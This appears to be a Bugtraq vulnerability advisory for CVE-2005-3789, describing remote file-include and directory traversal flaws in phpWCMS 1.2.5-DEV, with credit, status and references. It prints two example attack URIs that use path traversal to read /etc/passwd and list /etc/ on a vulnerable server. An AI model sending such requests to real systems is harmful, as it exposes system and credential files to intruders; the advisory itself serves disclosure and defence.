PHPWCMS Multiple Remote File Include Vulnerabilities

Bugtraq ID:	15436
Class:	Input Validation Error
CVE:	CVE-2005-3789
Remote:	Yes
Local:	No
Published:	Nov 15 2005 12:00AM
Updated:	Jul 06 2007 03:57PM
Credit:	Stefan Lochbihler <[email protected]> is credited with the discovery of this vulnerability.
Vulnerable:	phpwcms phpwcms 1.2.5 -DEV
Not Vulnerable:

PHPWCMS Multiple Remote File Include Vulnerabilities

phpWCMS is prone to multiple remote file-include vulnerabilities because the application fails to properly sanitize user-supplied input.

An attacker may leverage these issues to obtain sensitive information that may help with further attacks on the affected computer.

PHPWCMS Multiple Remote File Include Vulnerabilities

No exploit is required.

Example URIs have been provided:

http://www.example.com/phpwcms/login.php?form_lang=../../../../../../../../etc/passwd%00
http://www.example.com/phpwcms/img/random_image.php?imgdir=../../../etc/

PHPWCMS Multiple Remote File Include Vulnerabilities

Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or if you are aware of more recent information, please mail us at: mailto:[email protected].

PHPWCMS Multiple Remote File Include Vulnerabilities

References:

• PHPWCMS Web Site (PHPWCMS)
  
• PHPWCMS - Directory traversal vulnerability,CSS attack (Stefan Lochbihler )